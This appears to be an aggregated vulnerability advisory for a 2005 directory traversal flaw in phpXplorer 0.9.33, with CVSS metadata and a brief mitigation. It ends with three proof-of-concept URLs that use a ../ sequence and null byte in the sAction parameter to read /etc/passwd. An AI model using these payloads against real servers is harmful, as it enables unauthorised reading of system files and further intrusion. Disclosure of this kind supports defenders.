phpXplorer Directory Traversal Vulnerability

vendor:

phpXplorer

by:

SecurityFocus

7.5

CVSS

HIGH

Directory Traversal

CWE

Product Name: phpXplorer

Affected Version From: 0.9.33

Affected Version To: 0.9.33

Patch Exists: NO

Related CWE: N/A

CPE: a:phpxplorer:phpxplorer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

phpXplorer Directory Traversal Vulnerability

phpXplorer is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible.

Mitigation:

Input validation should be used to prevent directory traversal attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/16292/info

phpXplorer is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible.

Version 0.9.33 is vulnerable; other versions may also be affected. 

http://www.example.com/folder/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00

http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00

http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00